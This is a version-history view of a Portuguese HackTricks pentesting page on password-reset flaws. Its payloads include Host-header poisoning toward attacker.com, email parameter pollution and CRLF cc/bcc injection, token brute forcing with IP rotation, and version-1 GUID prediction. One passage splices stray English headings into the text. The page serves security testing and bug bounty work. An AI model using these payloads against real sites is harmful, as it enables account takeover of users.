hacktricks/pentesting-web/reset-password.md

319 lines
14 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Bypass de Redefinição/Esquecimento de Senha
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🐞 Leia tutoriais de bugs web3
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🔔 Receba notificações sobre novos programas de recompensa por bugs
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
💬 Participe de discussões na comunidade
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
As seguintes técnicas de recompilação foram retiradas de [https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
2023-06-06 18:56:34 +00:00
## Vazamento de Token de Redefinição de Senha Via Referer
2023-06-06 18:56:34 +00:00
O **HTTP referer** é um campo de cabeçalho HTTP opcional que identifica o endereço da página da web que está vinculada ao recurso sendo solicitado. O cabeçalho de solicitação Referer contém o endereço da página da web anterior a partir da qual um link para a página atualmente solicitada foi seguido.
2021-04-07 13:16:44 +00:00
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
2023-06-06 18:56:34 +00:00
### Exploração
2023-06-06 18:56:34 +00:00
* Solicite a redefinição de senha para o seu endereço de e-mail
* Clique no link de redefinição de senha
* Não altere a senha
* Clique em qualquer site de terceiros (por exemplo: Facebook, Twitter)
* Interceptar a solicitação no proxy do burpsuite
* Verifique se o cabeçalho referer está vazando o token de redefinição de senha.
2023-06-06 18:56:34 +00:00
### Impacto
2020-10-07 09:34:02 +00:00
2023-06-06 18:56:34 +00:00
Isso permite que a pessoa que tem o controle de um site específico altere a senha do usuário (ataque CSRF), porque essa pessoa conhece o token de redefinição de senha do usuário.
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
### Referência:
2021-04-07 10:04:56 +00:00
* https://hackerone.com/reports/342693
* https://hackerone.com/reports/272379
* https://hackerone.com/reports/737042
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
2023-06-06 18:56:34 +00:00
## Envenenamento de Redefinição de Senha
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
Se você encontrar um ataque de cabeçalho de host e estiver fora do escopo, tente encontrar o botão de redefinição de senha!
2021-04-07 10:04:56 +00:00
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
2023-06-06 18:56:34 +00:00
### Exploração
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
* Interceptar a solicitação de redefinição de senha no Burpsuite
* Adicione o seguinte cabeçalho ou edite o cabeçalho no burpsuite (tente um por um)
2022-10-26 09:16:32 +00:00
```
2021-04-07 10:04:56 +00:00
Host: attacker.com
```
2022-10-26 09:16:32 +00:00
```
2021-04-07 10:04:56 +00:00
Host: target.com
X-Forwarded-Host: attacker.com
```
2022-10-26 09:16:32 +00:00
```
2021-04-07 10:04:56 +00:00
Host: target.com
Host: attacker.com
```
2023-06-06 18:56:34 +00:00
* Verifique se o link para alterar a senha dentro do e-mail está apontando para attacker.com
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
### Correção
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
Use `$_SERVER['SERVER_NAME']` em vez de `$_SERVER['HTTP_HOST']`
2021-04-07 10:04:56 +00:00
```php
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
```
2023-06-06 18:56:34 +00:00
### Impacto
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
A vítima receberá o link malicioso em seu e-mail e, ao clicar, vazará o link/token de redefinição de senha do usuário para o atacante, levando à tomada completa da conta.
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
### Referência:
2021-04-07 10:04:56 +00:00
* https://hackerone.com/reports/226659
* https://hackerone.com/reports/167631
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
2023-06-06 18:56:34 +00:00
## Redefinição de senha manipulando o parâmetro de e-mail
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
### Exploração
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
* Adicione o e-mail do atacante como segundo parâmetro usando &
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
2023-06-06 18:56:34 +00:00
* Adicione o email do atacante como segundo parâmetro usando %20
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
2023-06-06 18:56:34 +00:00
* Adicione o email do atacante como segundo parâmetro usando |
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
2023-06-06 18:56:34 +00:00
* Adicione o email do atacante como segundo parâmetro usando cc
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
2023-06-06 18:56:34 +00:00
* Adicione o email do atacante como segundo parâmetro usando bcc
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
2023-06-06 18:56:34 +00:00
* Adicione o email do atacante como segundo parâmetro usando ,
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
2023-06-06 18:56:34 +00:00
* Adicione o email do atacante como segundo parâmetro no array json
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
2023-06-06 18:56:34 +00:00
### Referência
2021-04-07 10:04:56 +00:00
* https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
* https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
* https://twitter.com/HusseiN98D/status/1254888748216655872
2023-06-06 18:56:34 +00:00
## Alterando o Email e a Senha de Qualquer Usuário por meio de Parâmetros da API
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
### Exploração
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
* O atacante deve fazer login em sua conta e ir para a função de alteração de senha
* Inicie o Burp Suite e intercepte a solicitação
* Após interceptar a solicitação, envie-a para o repetidor e modifique os parâmetros Email e Password
2021-04-07 10:04:56 +00:00
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
2023-06-06 18:56:34 +00:00
### Referência
2021-04-07 10:04:56 +00:00
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
2023-06-06 18:56:34 +00:00
### Sem Limite de Taxa: Bombardeio de E-mails <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
### Exploração
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
* Inicie o Burp Suite e intercepte a solicitação de redefinição de senha
* Envie para o intruder
* Use carga útil nula
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
### Referência
2021-04-07 10:04:56 +00:00
* https://hackerone.com/reports/280534
* https://hackerone.com/reports/794395
2023-06-06 18:56:34 +00:00
## Descubra como o Token de Redefinição de Senha é Gerado
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
Descubra o padrão do token de redefinição de senha
2021-04-07 10:04:56 +00:00
2022-10-26 09:16:32 +00:00
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
Se ele for
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
* Gerado com base no Timestamp
* Gerado com base no UserID
* Gerado com base no e-mail do usuário
* Gerado com base no nome e sobrenome
* Gerado com base na data de nascimento
* Gerado com base em criptografia
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
Use o Burp Sequencer para encontrar a aleatoriedade ou previsibilidade dos tokens.
2022-10-26 09:16:32 +00:00
2023-06-06 18:56:34 +00:00
## GUID Adivinhável
2022-10-26 09:16:32 +00:00
2023-06-06 18:56:34 +00:00
Existem diferentes tipos de GUIDs:
2022-10-26 09:16:32 +00:00
2023-06-06 18:56:34 +00:00
* **Versão 0:** Apenas visto no GUID nulo ("00000000-0000-0000-0000-000000000000").
* **Versão 1:** O GUID é gerado de maneira previsível com base em:
* O tempo atual
* Uma "sequência de relógio" gerada aleatoriamente que permanece constante entre GUIDs durante o tempo de atividade do sistema gerador
* Um "ID de nó", que é gerado com base no endereço MAC do sistema se estiver disponível
* **Versão 3:** O GUID é gerado usando um hash MD5 de um nome e namespace fornecidos.
* **Versão 4:** O GUID é gerado aleatoriamente.
* **Versão 5:** O GUID é gerado usando um hash SHA1 de um nome e namespace fornecidos.
2022-10-26 09:16:32 +00:00
2023-06-06 18:56:34 +00:00
É possível dar uma olhada em um GUID e descobrir sua versão, há uma pequena ferramenta para isso: [**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
2022-10-26 09:16:32 +00:00
```http
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426
```
2023-06-06 18:56:34 +00:00
Se a versão utilizada para gerar um GUID de redefinição de senha for a versão 1, é possível realizar um ataque de força bruta nos GUIDs:
2022-10-26 09:16:32 +00:00
```http
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c
```
2023-06-06 18:56:34 +00:00
### Referências
2022-10-26 09:16:32 +00:00
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
2023-06-06 18:56:34 +00:00
## Manipulação de resposta: Substituir uma resposta ruim por uma boa
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
Procure por solicitações e respostas como estas
2021-04-07 10:04:56 +00:00
```php
HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
```
2023-06-06 18:56:34 +00:00
# Reset Password
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
## Description
This page will describe some techniques to reset passwords in different scenarios.
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
## Change Response
## Descrição
Esta página descreverá algumas técnicas para redefinir senhas em diferentes cenários.
2021-04-07 10:04:56 +00:00
```php
HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
```
2023-06-06 18:56:34 +00:00
### Referência
2021-04-07 10:04:56 +00:00
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
2023-06-06 18:56:34 +00:00
### Usando Token Expirado <a href="#8-using-expired-token" id="8-using-expired-token"></a>
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
* Verifique se o token expirado pode ser reutilizado.
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
### Força Bruta no Token de Redefinição de Senha <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
Tente fazer força bruta no token de redefinição de senha usando o Burpsuite.
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
```
2023-06-06 18:56:34 +00:00
* Use o IP-Rotator no burpsuite para burlar o limite de taxa baseado em IP.
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
### Referência
2021-04-07 10:04:56 +00:00
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
2023-06-06 18:56:34 +00:00
### Tente Usar Seu Token <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
2021-04-07 10:04:56 +00:00
2023-06-06 18:56:34 +00:00
* Tente adicionar o token de redefinição de senha com a conta da vítima.
2021-04-07 10:04:56 +00:00
```php
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$
```
2023-06-06 18:56:34 +00:00
### Referência
2021-04-07 10:04:56 +00:00
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
2021-03-22 09:20:53 +00:00
2023-06-06 18:56:34 +00:00
## Invalidação de Sessão no Logout/Reset de Senha
2023-06-06 18:56:34 +00:00
Quando um usuário faz **logout ou reseta sua senha**, a sessão atual deve ser invalidada.\
Portanto, **capture os cookies** enquanto o usuário está logado, faça **logout** e **verifique** se os **cookies** ainda estão **válidos**.\
Repita o processo **alterando a senha** em vez de fazer logout.
2023-06-06 18:56:34 +00:00
## Tempo de Expiração do Token de Reset
2023-06-06 18:56:34 +00:00
Os **tokens de reset devem ter um tempo de expiração**, após o qual o token não deve ser válido para alterar a senha de um usuário.
2023-06-06 18:56:34 +00:00
## Verificações Extras
2023-06-06 18:56:34 +00:00
* Use username@burp\_collab.net e analise o retorno
* Usar carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com
* Senha longa (>200) leva a DoS
* Adicione um segundo parâmetro de email e valor
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
🐞 Leia tutoriais de bugs web3
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🔔 Receba notificações sobre novas recompensas por bugs
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
💬 Participe de discussões na comunidade
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>